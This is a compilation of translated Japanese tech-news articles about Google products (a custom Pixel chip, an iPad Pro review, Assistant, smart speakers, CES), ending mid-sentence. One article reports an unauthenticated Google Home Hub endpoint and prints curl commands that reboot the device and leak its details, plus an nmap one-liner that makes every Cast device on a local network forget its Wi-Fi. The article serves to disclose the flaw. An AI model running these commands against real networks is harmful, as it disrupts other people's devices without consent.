グーグルがPixelスマホとChromebook用の独自チップを準備中か

報道によると、Google(グーグル)はApple(アップル)の例に倣ってハードウェア分野を強化するために、将来のスマートフォンに搭載するカスタム設計チップを開発しているという。Axiosの記事によると、グーグルは自社製プロセッサを将来のPixelデバイスに搭載する準備を進めており、その中にはスマートフォンだけでなく、最終的にはChromebookも含まれている。

グーグルによる独自製品への注力は、成功と失敗が入り交じったものだったが、いくつかのPixelスマートフォンは、カメラソフトウェアや写真処理において高い評価を獲得している。しかし、同スマートフォンがこれまでは一般的なQualcomm(クアルコム)製プロセッサを採用してきたのに対し、アップルは長い間iPhone向けに独自のカスタムプロセッサ(Aシリーズ)を設計し続けてきた。AシリーズプロセッサはOSやアプリケーションに合わせてカスタマイズされパフォーマンスを発揮するいう意味で、アップルに優位性をもたらしている。

記事によると、グーグルの独自チップはコードネーム「Whitechapel」と呼ばれており、Samsung(サムスン)と共同開発され、同社の5ナノメートルプロセスが使用されている。内部には8コアのARMベースのプロセッサを内蔵するだけでなく、機械学習とGoogleアシスタントのための専用チップリソースが確保されている。

グーグルはすでにこのプロセッサの最初の動作可能なプロトタイプを受け取っているが、実際にPixelスマートフォンに搭載されるのは少なくとも1年後になるとされており、これはサードパーティ製プロセッサを搭載するPixelが、少なくとももう1世代登場する可能性が高いことを示唆している。レポートによると、チップは最終的にChromebookにも搭載されるが、それにはさらに時間がかかるという。

Aシリーズプロセッサの性能がIntel(インテル)の同等製品をスケールアップし凌駕していることから、アップルがいずれMac製品でも独自のARMベースプロセッサに移行するのではないかとの噂は、何年も前から流れていた。ARMベースのChromebookはすでに存在しているので、もしチップが期待に応えることができれば、グーグル側の移行は容易となるだろう。

原文へ

(翻訳:塚本直樹 Twitter

最新iPad Proは旧モデルからの乗り換えるほどではないが、マウスとキーボードは快適で便利

iPad Pro

新モデルは魅力的だが、すでに所有している人にとってはそうでもない

過去18カ月間、iPad Proは私の自宅から持ち出した唯一のマシンである。私は最近まで世界中で開かれるイベントに参加するため、またサンフランシスコ、ニューヨーク、ロンドンにある当社のオフィスを訪れるため、自宅を離れて何度も国内外を移動した。自宅のデスクにいないときは、常にiPad Proが私のメインのポータブルマシンであった。

乗り換えたのは、カンファレンスとStartup Battlefieldコンテストへ参加するためにブラジルへ旅行した時だった。それはほんの気まぐれだった(話は逸れるが、そのコンテストが最高だったのは、コンピュータービジョンによる牛の体重測定が優勝したことだ)。この1週間の旅行において、iPad Proが仕事用デバイスとして機能するかどうか実際に使って確かめたかった。その後、また信頼のおける13インチMacBook Proに戻ると思っていた。

ところがこの旅でTechCrunchの運営をタブレットからできるかという点において、私の考え方はすっかり変わってしまった。軽くてスムーズに手早く簡単に仕事ができ、いたるところで私のMacBookよりも進んでいることがわかったのだ。私はもう元には戻れなくなってしまった。

iPadPro

iPad Pro、2018年、ブラジル

初めのうち、iPadと私の双方にとって悩みの種が尽きなかった。その時点では共有シート、自動化ツール、新しく導入されたショートカットなどをつなぎ合わせてワークフローを再構築したことが、実用的な作業用マシンとして生まれ変わらせるのに大きな役割を果たした。また、Slide Over(スライドオーバー)、Split View(スプリットビュー)、ホーム画面などを刷新したiPadOSに伴う変更は、デバイスをより柔軟に感じられるものであり、歓迎すべきものであった。

過去の1年半もの間、iPad Proの絶対的な目玉機能について多くのことを学ぶことができた。その一方で、ラップトップよりも軽くて高速なマシンを持ち運ぶことで、得られるものと失うもののトレードオフについて知ることができた。

新しいマシンで過ごした1週間のうちにこれらはすべて整えた。

この新しい2020年のiPad Proは、2019年に発売されたモデルと大部分においてほとんど同じに見える。正方形のカメラアレイ以外は、ほとんどそっくりだといっても過言ではない。その中でも良いニュースは、初めてApple(アップル)がID認証を行って2年経った今でも超サクサクと未来的な感じがすることだ。まさにコンピューターの理想的なかたちである。軽くて、手に持てる大きさで、強力で、機能的なのだ。

私がテストした12.9インチのiPad Proには、私が今まで使用していたモデルとほぼ同じレベルで動作する新しいA12Zチップが搭載されている。Geekbench 4では、5015超のシングルコアと1万8000超のマルチコアスコアを記録した。クラスに関係なく、所有可能で最も強力なポータブルコンピューターの1つであることに変わりはない。1TBモデルには引き続き6GBのメモリーが搭載されているようだが、それより下のモデルでは4GBなのかもしれず、詳細は不明だ。

iPadPro

このバージョンには追加のGPUと「強化されたサーマルアーキテクチャ」が追加された。負荷がかかった状態では熱分散に優れているかもしれないが、iPad Proはめったに熱くならないので、私にとってはよくわからなかった。私は分解した結果が気になった。おそらく新しい排気口、配線、部品などが配置されているのだろう。もしくは何らかの回路かもしれない。

当然のことであるが、このプロセッサーが(少なくともCPUレベルでは)A12X Bionicチップに非常に近い性能を持つことは興味深い。GPUにおいても、AppleはA12Xよりも高速だというのみで、いつものように具体な倍数について言及していなかった。

このことからわかるのは、これがiPad Proを本当に「リフレッシュ」したものだということだ。新しい機能を次に紹介するが、全体的に見るとこれはある意味で「新しいモノ」であり、めったにあるものではない。ただし、ときにはアップルデバイスの真実ともいえる機能だ。ご覧いただくのは、ハードウェアの設計や実装を大幅に見直しなくても、現在ハードウェアから学び、実行できることばかりだということだ。

私がここで注意するとするなら、A12Xがいまだに非常に早く、それほどパワーが欲しいと思ったことがないことであろう。私は使いやすさを犠牲にして、スピードアップを図ることにずっと反対してきた。だからこそ今はその議論を重ねるときであるし、うまく機能しているものに不満をいうべきではないと思っている。

カメラとAR

新しいiPad Proで最も大きく変わったところは、もちろんカメラアレイだ。1000万画素の超広角と1200万画素の広角の2つを備えている。これらの機能は仕様どおりであるが、最も興味深いのは新しいLiDARスキャナの追加である。

これによって我々は、世界を一度に何層もの奥行きをもって体感できるようになるのは間違いない。我々が認識している物理的な層は、レッドウッドの年輪のようなデータの輪によって増強される。

実際のところ、その未来は我々にも到来している。たとえそれを気付いているかどうかが問題ではない。これらの層の存在を要求することにより、今すぐそのほとんどを非同期で体験することができる。どこに行くべきか伝えるために、データオーバレイが必要だって?ターンバイターンで地図を呼び出してみよう。言葉や天候の定義を知りたいって?ボイスアシスタントに聞いてみよう。

ただし、これを超えた次の時代は、受動的なコンテクストに応じた情報レイヤーが視覚的かつ聴覚的に、積極的に提示される時代なのだ。

我々はこれを拡張現実とかMR(複合現実)などと呼んでいるが、どちらも最終的にどうなるかを明らかに説明しているわけではない。拡張ヒューマンエクスペリエンスはスマートフォンから始まったが、スクリーンから透明なディスプレイ、レンズ、義眼、脳幹の結合までをチェーンでつなぐかのように、ゆっくりと小脳に近づいている。

あなたがこの現実を受け入れられなくても、私は責めはしない。ただ、私が正しくないという意味でもない。この記事をブックマークして、2030年に議論しようではないか。

ただし、短期的にはARテクノロジーの発達は主にスマートフォンのエクスペリエンスによって前進することになるだろう。そしてそれらはGoogle(グーグル)とアップルによって急速に発展している。ARをアプリやデバイスに合うハードウェアに組み込むように開発者にフレームワークを提供しているのだ。

AR体験を非常に現実的なものにするための最大のハードルはオクルージョンだ。これはあるオブジェクトが別のオブジェクトと現実的に交差することを可能にするエフェクト。「これはそれより後ろにある」と脳に伝えるためにオブジェクトを不明瞭にしたり、隠したりする。オクルージョンは共有されたエクスペリエンス、リアルな世界とデジタルな世界の相互作用、一般的な信憑性といった面白さにつながる。

これこそがiPad ProのLiDARの見せ場でもある。LiDARを使用すると、ARアプリケーションで2つの大きな前進が可能になる。

  1. 初期化の時間はほぼ一瞬:LiDARは光の速さで動作するため、放った光のパルスを読み取り、その「飛行」時間を測定することで対象物または環境の形を判定する。これはとても速い。典型的な「アプリを開いて、端末をかざして周りを見渡すが、使えるかどうかは運次第」といったAR特有のユーザーエクスペリエンスの悪さは、LiDARによって理論的に取り除くことができる。
  2. オクルージョンは自動:オブジェクトの形や相互関係を「推測」するためにカメラ、小さな手の動き、コンピュータービジョンを使用して計算を行う必要がなくなった。開発者は基本的にこれを無料で、しかも驚きの速さで手に入れることができる。LiDARがたくさんの自動運転自動車システムや半自動運転システムに使われていることには理由がある。高速で比較的信頼性が高く、強力なマッピングツールだからだ。

ARKit 3.5には、平面と表面を検出することにより、環境の完全なトロポジカル3Dメッシュを作成する機能がある。しかも、シンプルなカメラファーストのアプローチよりも高い精度で提供されているのだ。

残念ながら、私はこのシステムをテストすることができなかった。Appleによると、多くはHot LavaのようなゲームからIKEAのような家具販売用アプリへと移行しつつあるとのことだが、それを活用したアプリケーションはまだないとのことだ。2020年か遅くとも次のiPhoneに搭載される可能性が高いため、この追加機能がどれほどiPadに効果的であるのか私は興味がある。

iPadPro

唯一、iPad Proの背面カメラがポートレート写真を撮れないことには驚いたが、大きなショックは受けなかった。フロントカメラのTrueDepthだけが、このポートレートモードを搭載している。

iPad Proには、はるかに正確なポートレートモードが搭載される予定であり、LiDARアレイとカメラを利用するが、まだ準備ができていないようだ。アップルがテーマと背景との関係を理解しているにもかかわらず、ポートレートスタイルの撮影を実行できないようにする理由はない。

LiDARは非常に有望で、たくさんの将来性のあるアプリを生み出すテクノロジーだ。デバイスに外部の世界を取り込むためのより正確な方法があれば、そのうちAppleと開発者にいろいろなチャンスが広がるであろう。しかし、私はそれが一気に広がるのではなく、今後数年にわたって徐々に行われることになると考えている。

TrueDepthカメラの位置が変更されていないことには失望した。iPad Proのデザインに関してアップルが選択したものの中で、カメラを横向きモードのときに手で覆われる場所に配置したのは実にもったいない。

iPadPro

私がiPad Proをポータブルマシンとして使ってきた間、ポートレートモードにしたことはほんの数回しかない。たいていはアプリが単に横向きに対応していなかったからだ。

このデバイスは横向きが前提であり、カメラにもそれを反映すべきだ。5月に出荷される「フローティング」デザインの新しいMagic Keyboardは、カメラを浮き上がらせて手元から離すことができるようになり、私はそれによってかなり使い勝手は良くなるのではないかと思っている。

キーボードとトラックパッドに対応

マウスとトラックパッドへの対応については、現時点でもかなりの人がいくつかの意見を述べている。一般的に反応は非常に好意的であり、私もその評価に同意する。アップルがボタンやアクションをカーソルに合わせる際にどれほど柔軟性があるかにはやや疑問があるのだが、全体的な効果としては信じられないほど快適で便利である。

カーソルを鋭い矢印や手のアイコンではなく、順応性のあるオブジェクトで再現したことは、タッチ環境において大いに納得できる。我々は、自分の指が鉛筆や消しゴム、ときにはボタンを押す道具として必要なツールになることに慣れている。iPadのカーソルも状況に応じて認識されるのだが、それは理にかなっている。

いまのところはMagic Trackpadしか使えないのだが、Magic Keyboardが発売されたときには、これが通常の作業フローになってくれることを期待している。

そしてキーボードのデザインについては、以前よりもはるかに高い位置にあるスクリーンを、キーボードを使いながら指で突かずに済むのは素晴らしいことだ。

Surfaceとの比較

iPad Proにトラックパッドが追加されたことで、「結局のところSurfaceは正しかったのでは?」という直感が正しかったことが証明されたようだ。今となってはほとんど毎日iPadを触っているので、私はこのことについてある時期から2、3年は考えていたことである。

この議論については2018年に評価をしたことがあるので、ここでは端的にそれを引用させていただこう。

関連記事:iPad Proレビュー:Appleの新しいタブレットは、成熟の予兆を見せ始めた

iPadPro

簡単にまとめると、Microsoft(マイクロソフト)はラップトップのタブレット化に、アップルはタブレットのラップトップ化に取り組んでいて、他はよくわからないことをしようとしている。

まずはOSを切り離し、先にタブレットを開発してから元に戻る必要がある。そのことをマイクロソフトは理解することができないでいる。マイクロソフトは以前のマイクロソフトよりもはるかに有能だと思うが、しかしそれは他で議論すべき問題である。

アップルはOS Xをかなり早いタイミングで切り離し、それ以来、別の方向にゆっくり向かっている。しかし、Surface ProがiPadと同じくらい満足できるレベルのタブレット体験を提供してくれたことはない。

たしかにSurfaceのほうがより柔軟性があるかもしれない。しかし、それは統一感と確かな機能性の犠牲の上で成り立っている。それは冷蔵庫やトースターでも同じである。

今でも私はそう思っている。

基本的に、iPadがSurfaceのすぐそこまで追いついていると考えるようになった。なぜならiPadはハードウェアに焦点を当てているのでアプローチが広い。そしてWindowsはタッチ操作向けに適切に調整されたことはない。アップルは先にタッチ操作に合わせており、その後でカーソルのサポートを追加した。

前述したことを繰り返すが、私はここで「Surfaceのアプローチが悪い」と言っているわけではないので、その点は信じて読み進めていただきたい。業界のほぼ全体が別の方向に向かっていたときに、SurfaceのチームがコンバーチブルPCに最大限尽力していたことは、非常に賞賛すべきことだと思う。しかし、iPadが「Surface」化するという意見には絶対に同意しない。なぜならSurfaceのタッチエクスペリエンスはタブレットの中でも最悪であり、iPadのそれは(インターフェイスの欠点も含めて)間違いなく最高だからだ。

これは最近のコンピューターデザインにおいて、異なる両端から同様の問題を解決しようとする明確な例の1つである。

ただし、iPad Proを数年間使用して、何も問題がなかったというわけではない。

iPadPro

iPadへの期待

2020年の1月のこと、アップルに関するライター兼評論家のJohn Gruber(ジョン・グルーバー)は、iPadがその潜在能力を完全に引き出されていない理由について詳しく解説した。アップルがソフトウェアのマルチタスクの部分で失敗したというのが大筋の結論だった。その当時、ジョンや他の追随する人たちから良い指摘をされていたように思う。私にも意見があったが、思いを表明するまでには至っていなかった。しかし、今なら言える。私の意見は次のとおりだ。

iPad Proは、使いやすさよりもスピードと能力に焦点を合わせているに違いない。

MacBookやラップトップを1日か2日、もしくは10日間も置いたままにしたことがなかったか思い出してみてほしい。開けてみたら一体どうなっただろうか? アラート、通知、アップデート、メッセージの数々がお出迎えしてくれたのでは? マシンから離れていた時間の長短に関係なく、開いてすぐに作業を開始できただろうか?

iPad Proなら、どこにいても何をしていてもパカッと開いて上方向にスワイプすれば、数秒以内に最初の指示を出すことができる。めまぐるしい業界で、荒々しいビジネスをしている私たちにとって、その確かな動作は文字どおりプライスレスだ。

一方で、私が使いやすさを望んだことは一度もない。

あなたはハンマーがもっと使いやすかったらなどと思ったことはあるだろうか?そんなことはないだろう。正しく持ち、正確に打つことを覚えるだけだ。iPadの場合はもっと複雑なことにも利用できる。

現在、iPadOSは批判を許されないレベルにまでシンプルさが高められている。皮肉なことに、iPadソフトウェアチームに代わって物事をシンプル(同じアイコン、同じグリッド、同じアプリスイッチングパラダイム)に維持し、元の意図に忠実にであろうとする努力が、打って変わって一種の複雑さをもたらした。

iPad Proのマルチタスクシステムを取り巻く問題のほとんどは、プロフェッショナルのユーザーに対してアプリやワークスペースを不変に固定する方法を提供することで解決することができると思う。つまり、何年にもわたってiPadの役割であった自分のワークスペースを所有しているようなマルチタスクの方法論を「ぶち破る」能力をユーザーに提供すればいいのだ。ドックを完全に捨て去り、タップで移動できる固定されたスペースのリストを作成しよう。アプリアイコンを保護するステータスをなくし、そのスペースでまさに起こっていることを反映させよう。

これらはひどいアイデアかもしれないが、私の議論の核心はしっかりしている。タッチインターフェイスは70年代に初めて登場した。そして少なくともここ十数年間は非常に人気だ。

今日のiPad Proユーザーはタッチベースのインターフェイスには慣れており、タッチインターフェイスのないコンピューティングライフを知らない可能性が高まっている。

信じられないのなら、子供たちが6つの異なるアプリを操って、簡単なミームやメッセージをまとめて友達に送る様子を観察してみて欲しいい。子供たちはそれを1日に数十回も行うような名人なのだ。こういったユーザーはまさにタッチネイティブである。肉の味を知ってしまった子どもたちは、もうミルクを飲めなくなってしまっているのだ。

iPadPro

このデバイスは依然として絶賛せずにはいられない。とにかく、私が2018年に挙げた理由すべてにおいて、現在でも同じように強く感じている。しかしこれまでのところ、2018年のiPad Proから最新モデルにアップグレードする理由はほとんど見当たらない。Magic Keyboardに下位互換があることを考慮しても、結論は変わらないであろう。

現在iPad Proを所有しておらず、仕事に使えるか悩んでいる人には、可能だと私は答えるし、実際に私はそうしているとお伝えしよう。複雑で多面的な論説、イベント、サブスクリプションビジネスの編集面を管理しながら、さまざまな大陸やタイムゾーンで働く30人もの従業員と話している。

iPad Proとともに(飛行機で)16万kmを移動したが、一度も不具合を起こすことがなかった。バッテリーは常に十分であった。スピードは常に一定だ。キーボードは素晴らしいだけではなく、液体をこぼしても大丈夫で、さらに耐衝撃性能を備える。私がこれまで所有していたどのラップトップにも当てはまるものではない。アップル製品であったとしてもしかりである。

統合されたトラックパッドの将来性とiPadの存在理由のレベルアップにより、Magic Keyboardと新しいiPad Proは、現在の市場に出回っている中で最も魅力的なパッケージの1つになっている。

私はMacBook Airが大好きで、いくつかのモデルを壊れるまで何年も使用したことがある。現在、自分の仕事のスタイルを考えるとラップトップに戻るという選択肢はありえない。高速で信頼性が強く、強力だからだ。

タイピング、スワイプ、スケッチで入力することができ、地球上のあらゆる主要なビジネスソフトウェアを強力にサポートするマルチモードマシンを所有しているというのは尋常ではない。常によく動き、高速で、まるでイタリアのレーシングカーのように組み立てられているマシンだ。

誰が反論できるだろうか?

[原文へ]

(翻訳:Dragonfly)

G SuiteはAI搭載でより便利に、GoogleカレンダーとGoogleアシスタントが融合

Google(グーグル)は米国時間11月20日、G Suiteツールをアップデートした。Google Docsには、AIによる文法チェッカーや精度を高めたスペルチェックといった機能が加わった。さらに今後、スペルの自動修正機能も搭載される予定だ。Googleカレンダーに関しては、Googleアシスタントがスケジュールを認識できるようになったほか、イベントの作成、キャンセル、そしてスケジュールの変更ができるようになる。さらにGoogleアシスタントには、ミーティングで使える新しいアクセシビリティー機能も加わる。

米国時間11月20日の発表では、Smart Composeも近くG Suiteに加わるという。

Google Docsに正しい文法のヒントが加わるのは意外でもない。Googleも数カ月前からその話をしていた。最初に紹介されたのは2018年だ。そのほかの文法ツールと違ってGoogle Docsは、ニューラルネットワークを利用して文法上の問題と思われるものを見つける。同様のテクニックが機械翻訳のモデルの能力を高めるためにも使われている。

すでにGmailに導入されている自動修正機能が、Google Docsにも加わる。このツールはグーグルの検索を利用して新しい言葉を覚えていくが、今回の発表ではさらに新しいシステムにより、ユーザーが自分のドキュメントの特性に基づいて正しいスペルのヒントをカスタマイズできるようになる。社内で使う独特の略語などは、通常は間違いと指摘するだろう。

GoogleアシスタントがGoogleカレンダーのデータを取り込む機能は、目下ベータ段階だが詳しい説明は不要だろう。こんな簡単な機能の導入が、これだけ遅れたことのほうがむしろ不思議だ。声でGoogleカレンダーを管理するだけでなく、ミーティングの出席者たちへメッセージを送ったり、ミーティングにアシスタントを参加させたり機能も近く加わる予定だ。いつものように朝寝坊しただけでなく、渋滞につかまって朝8時のミーティングに出られないときもアシスタントが役に立つだろう。

関連記事:文書補完機能の「Smart Compose」がGoogleドキュメントで利用可能に

[原文へ]

(翻訳:iwatani、a.k.a. hiwa

世界のスマートスピーカー市場でグーグルはバイドゥに抜かれて3位に後退

Canalysの最新の調査報告書によると、世界のスマートスピーカーの市場は今年の第2四半期に55.4%成長し、2610万台が出荷された。トップは変わらずAmazon(アマゾン)で、この四半期に660万台を出荷した。しかしGoogle(グーグル)は、中国のBaidu(バイドゥ)に抜かれて3位に後退した。BaiduのQ2の成長率は3700%と大きく、450万台を出荷してGoogleの430万台を抜いた。

中国の市場は全体として倍増し、同四半期に1260万台が出荷され、アメリカの合計610万台の2倍になった。米国市場は全体として前四半期よりも2.4%とわずかに減少した。

Baiduの同四半期の成長は、積極的なマーケティングと売出しキャンペーンに依るところが大きい。中でもとくにスマートディスプレイの人気が高く、全売上の45%を占めた。

CanalysのリサーチアナリストCynthia Chen(シンシア・チェン)氏はこう述べている。「ローカルネットワークのオペレーターたちが最近この種のデバイスに強い関心を持つようになっている。スマートディスプレイで競合他社の少ないBaiduにとってこのことが大きく幸いし、オペレーターたちの市場をほぼ独占した」。

一方、GoogleはQ2にNestのブランド変更をしたことがマイナス要因になった、とCanalysは言っている。

Googleが消費者の関心を再燃させるためにはスマートスピーカー製品群の刷新が必要、とこの調査報告書は示唆している。そういえばGoogle Homeデバイスはローンチ以来一度もアップデートされず、2016年当時の空気清浄機のようなスタイルに今でも満足している。そしてGoogle Home miniは、色が変わったことが話題になった程度だ。

むしろGoogleの最近の関心は、デバイスのメーカーによるGoogle Assistantの技術の統合より容易にすることに向けられ、またスマートディスプレイへのフォーカスが増していた。

対してAmazonはEcho系列のスピーカーをこれまで何度もアップデートし、Alexa対応デバイスをEcho SpotやEcho Showなど画面のあるデバイスにも拡張し、また従来からの声だけの製品もEcho Plus、Echo Dot、Echo Autoなどと多様化してきた。時計や電子レンジにもEchoが載った。まるでそれは、音声コンピューティングの公開実験みたいだ。

それでもAmazonとGoogleはどちらも、Q2には焦点を米国以外の市場に移してきた、と報告書は言っている。たしかに、Amazonのスマートスピーカーの出荷は50%がアメリカ以外であり、それは前年同期に比べて32%増えている。Googleはアメリカ以外への出荷が全体の55%で、前年同期比42%の増だ。

table ifnal final

3位までを占めるAmazonとBaiduとGoogle以外でトップ5に残るのは、Alibabaの410万台とXiaomiの280万台だ。そしてApple(アップル)のHomePodを含むその他大勢は計370万台だ。

[原文へ]

(翻訳:iwatani、a.k.a. hiwa

Android上のGoogle Assistantのビジュアルな答が改良された

半年ぐらい前にGoogleは、スマートフォンのAssistantのルックスを一新した。そして米国時間4月6日、同社はそのフォローアップとして、Android上のAssistantのビジュアルな応答性を良くするための、小さいけどすてきな手直しを発表した。それによってアプリの使い心地は、Googleのそのほかのサービスと同じになるだろう。

たとえば、イベントをたずねたときの応答は、同じ質問をモバイルのブラウザー上でたずねたときとまったく同じだ。これまでは、Assistantのビジュアルな応答は、かなり簡略化されていた〔下図のそれぞれ左(Before)〕。

[イベント][株価][犬][猫]

  1. Events

  2. Stocks

  3. Dog

  4. Cats

また、これにはユーザーからの苦情もありそうだが、Assistantでは最適解がないのでWebサイトのリストを“その他の解”としてユーザーに見せるとき、二つのボックスを画面上に縦に並べた。それは、とっても見づらい。しかし今度からは、ふつうのGoogle検索のレイアウトと同じになる。

良いアイデアじゃないの。なんでそれに苦情が来るの? つまり、表示が通常のGoogle検索と同じになったことによって、検索広告も出るのだ。Assisitantが広告をユーザーに見せるのは、これが初めてだ。Webサイトのリストを答としてもらうような質問は、そんなに多くないから、まあいいじゃないか。でもユーザーが心配するのは、これをきっかけにAssistant上の広告が今後多くなることだ。

Googleによると、Assistantのユーザーに見せるその広告では、広告主は広告のターゲティングができない。そしてユーザーに関する情報を、捕捉しない。

今度のAssistantには、住宅ローンの計算や、カラーピッカー(画面から色を拾う)、チップの計算、水準器などの機能が加わった。また、株価を知りたいときは、完全な対話型のグラフでそれができる。今までのように、株価が表示されるだけではない。

これらの新しい機能は今のところ、アメリカのAndroidスマートフォンのみだ。例によって、あなたのお手元のスマホに現れるのはもうちょっとあとだね。

[原文へ]
(翻訳:iwatani(a.k.a. hiwa

GoogleのHome Hubがたった1行のコードで煉瓦になる(文鎮になる)

セキュリティの普及活動家であるJerry Gamblinがポストした、主にXMLの行から成るコードは、Google Home Hubから容易に情報を取り出し、ときには一時的にそのデバイスを動かなくしてしまう。

Home Hubは要するに、Androidタブレットにスピーカーをくっつけた製品で、室内で使うGoogle Assistantデバイスとして設計されている。それは近くのWi-Fiアクセスポイントを見つけ、ユーザーはそのどれかに接続し、他のデバイスからビデオや写真を受信したり、リモートのコマンドを受け付けたりする。ビデオを受信するときには自分のPINを送信するし、また受け取るコマンドの中にはコマンドラインのクイックリブートもありえる。

問題のコマンドは、コマンドラインからの簡単なURL呼び出しで、明らかにセットアッププロセスの一部だ。ご自分で試したい人は’hub’のところをHome HubのローカルなIPアドレスに置換するとよい:

curl -Lv -H Content-Type:application/json --data-raw '{"params":"now"}' http://hub:8008/setup/reboot

[ぼくはIoTのセキュリティのエキスパートではないが、不正なcurlコマンドでGoogleのHome Hubをリブートできるのはおかしいよね。]

これも1行のコード(curlコマンド)だが、マイクロサービスの数などの情報を暴露する:

$ curl -s http://hub:8008/setup/eureka_info | jq
{
"bssid": "cc:be:59:8c:11:8b",
"build_version": "136769",
"cast_build_revision": "1.35.136769",
"closed_caption": {},
"connected": true,
"ethernet_connected": false,
"has_update": false,
"hotspot_bssid": "FA:8F:CA:9C:AA:11",
"ip_address": "192.168.1.1",
"locale": "en-US",
"location": {
"country_code": "US",
"latitude": 255,
"longitude": 255
},
"mac_address": "11:A1:1A:11:AA:11",
"name": "Hub Display",
"noise_level": -94,
"opencast_pin_code": "1111",
"opt_in": {
"crash": true,
"opencast": true,
"stats": true
},
"public_key": "Removed",
"release_track": "stable-channel",
"setup_state": 60,
"setup_stats": {
"historically_succeeded": true,
"num_check_connectivity": 0,
"num_connect_wifi": 0,
"num_connected_wifi_not_saved": 0,
"num_initial_eureka_info": 0,
"num_obtain_ip": 0
},
"signal_level": -60,
"ssdp_udn": "11111111-adac-2b60-2102-11111aa111a",
"ssid": "SSID",
"time_format": 2,
"timezone": "America/Chicago",
"tos_accepted": true,
"uma_client_id": "1111a111-8404-437a-87f4-1a1111111a1a",
"uptime": 25244.52,
"version": 9,
"wpa_configured": true,
"wpa_id": 0,
"wpa_state": 10
}

そして下のnmap呼び出しは、ローカルなネットワーク上のすべてのデバイスが自分のWi-Fiを忘れてしまうので、もう一度セットアップしなければならない:

nmap --open -p 8008 192.168.1.0/24 | awk '/is up/ {print up}; {gsub (/(|)/,""); up = $NF}' | xargs -I % curl -Lv -H Content-Type:application/json --data-raw '{ "wpa_id": 0 }' http://%:8008/setup/forget_wifi

Gamblinも言っているが、これらのセキュリティホールは壊滅的ではないが要注意だ。これらのコマンドやツールを不正に実行できてしまうこと自体、よく言えば怠慢だし、悪く言えば危険だ。彼の指摘によると、このオープンなエンドポイントは何年も前からいろんなGoogleデバイスにある。だからこれはコードベースの正常な一部であり、Googleによるいたずらではない。

ここには、重大なものは何もないし、Home Hubが重要な医療機器を制御することもない。でも、このプラットホームを使ってるデバイスにセキュリティの欠陥があることは、知っておいて損はない。この場合はコマンドの不正実行やシステムの盗用だ。しかし今日はGrandpaの超複雑な写真フレームをリブートできるだけだが、明日になると誰かが、うちのおじいちゃんの酸素濃縮器をリブートするかもしれない。

[原文へ]
(翻訳:iwatani(a.k.a. hiwa

AmazonのAlexaイベントの至るところにGoogleの指紋があった

今日(米国時間9/20)のAmazonの大規模なAlexaイベントで行われたおよそ70の発表の中には、ある重要なものが隠れていた。このビッグイベントから溢(あふ)れ出てくるニュースの多くには、Googleの製品が大きな影を落としていたのだ。

もちろん、その理由は明らかだ。ここ二年で、GoogleのAssistantとHomeが確実にAmazonとの差をつめている。いや、差どころか、今日のイベントのタイミングを見計らったかのように、GoogleのHome Miniが今年第二四半期のスマートスピーカーのベストセラーだった、という調査報告が出て、GoogleがAmazonの人気製品Dotの王座を奪った。

今日のイベントで初めてその姿を見せた新製品の中では、間違いなく新装のDotがGoogleの影響を表していた。布で覆われたデザインと音質の向上は、その廉価版スマートスピーカーをHome Miniに勝つべき対抗馬に仕立てていた。この製品のハードウェアデザインがこれほど大きく変更されたのは、今回が初めてだ。

AmazonはEcho ShowでもGoogleの機先を制したが、その新装バージョンもやはり、その分野におけるGoogleの影響が強く表れている。最初のShowは明らかに形よりも機能を優先していたが、しかし今年のCESでGoogleは、サードパーティ製のSmart Displayで、ディスプレイ付きスマートスピーカーという分野のハードルを上げた。Showのニューバージョンはまだ開発途上のようだが、LenovoなどのSmart Display製品の影響は、誰の目にも明らかだ。

しかしもちろんAmazonは、Googleにやられっぱなしではない。同社は明らかに、スマートアシスタントという分野で独自の道を進むことをねらっている。たとえばGoogle MaxやApple HomePodの対抗機を出すのではなく、ユーザーがホームステレオを構成していくための個別の要素、Sub(サブウーファー)やLink(アンプ)などを導入した。またEcho Autoは、プラグアンドプレイの車載ソリューションとして、Android Autoなどとの直接競合をねらっている。

AmazonとGoogleのライバル意識はEcho ShowからYouTubeが消されたことなどに露骨に表れているが、今日のイベントに登場した多くの製品の、設計とデザインにも大きな影響を与えている。競争は今後、さらに過熱するだろう。

[原文へ]
(翻訳:iwatani(a.k.a. hiwa

Google Assistantの独自のアクションを各種デバイスに組み込める、そのためのSDKを発表

今年のSXSWの呼び物というほどでもないが、Googleは自分の製品にGoogle Assistantをあっと驚くアイデアで組み込みたい、と考えているデベロッパーのために、ちょっとした素敵なアップデートを提供する。製品に特定のファンクションを加えるためのAssistantのSDK、それがそのCustom Device Actionsだ

ブログの記事でGoogleは、Assistantを搭載した洗濯機が色を次々と変える例を示している。Assistantの開発キットにはすでにBuilt-in Device Actionsというものが最近提供されたが、デベロッパーはこれでデバイスに何らかの特徴を持たせることができる。そして今回のCustom Device Actionsは、それの後輩だ。

スマートホームデバイスはますます市場が混み合ってきたから、メーカーはなんとかして自社製品を目立たせないといけない。この開発キットは、そのために役に立つだろう。Googleはデモ用として、洗濯物分類ロボット(下図)とビール注文システムを作ったようだが、どちらもSXSWではAssistant Fun Houseと名付けたコーナーで実際に試せる。

この前のCESやMWCと違って、今度のGoogleの展示場には嬉しいことに屋根がある。でも、二度ある悪天候は三度あるというから、テキサスはみぞれかもしれない。このActions開発キットには登録会員のための通知機能があって、新しいアクションが追加されたらAndroidスマートフォンの画面に音楽とともにポップアップする。

もっと詳しいことは、5月初旬のGoogle I/Oカンファレンスで分かるだろう。

[原文へ]
(翻訳:iwatani(a.k.a. hiwa

Google、CESに拠点を構える

Googleがやってきた。そして何か大きなことを計画しているようだ。ラスベガスコンベンションセンターに向かうParadaise Roadを走っていて、この会社の存在を見落とすことはない。駐車場に作られたGoogleのブースは、多くの他社と同じくまだ建設中だが、白と黒の巨大な “Hey Google” の看板はすでに高く掲げられ、数ブロック先からでも目に入る。

これはイベントに前に同社から送られた風変わりな招待状 のデザインをわずかに変えたもので、仮設ブースの側面のネオンブルーのループ状スライダーにいたるまで再現されている。

そしてGoogleがこれ以上このイベントに何を注ぎ込めるのかと思った矢先、ラスベガスを走るモノレールの線路を行き交う車両に見逃しようのない大きな文字で “Hey Google” と描かれているのが目に入った。

Googleの動きは急だった。これまで同社のソフトウェアソリューションの肩に乗ったサードパーティー以外、このショウでGoogleの存在感はほとんどなかった。それが突然、どこへ行ってもGoogleだ。もちろん前兆はあった。昨年のMobile World Congressでは大きな展示を出し、スムージーや砂で作ったAndroidの彫像まであった

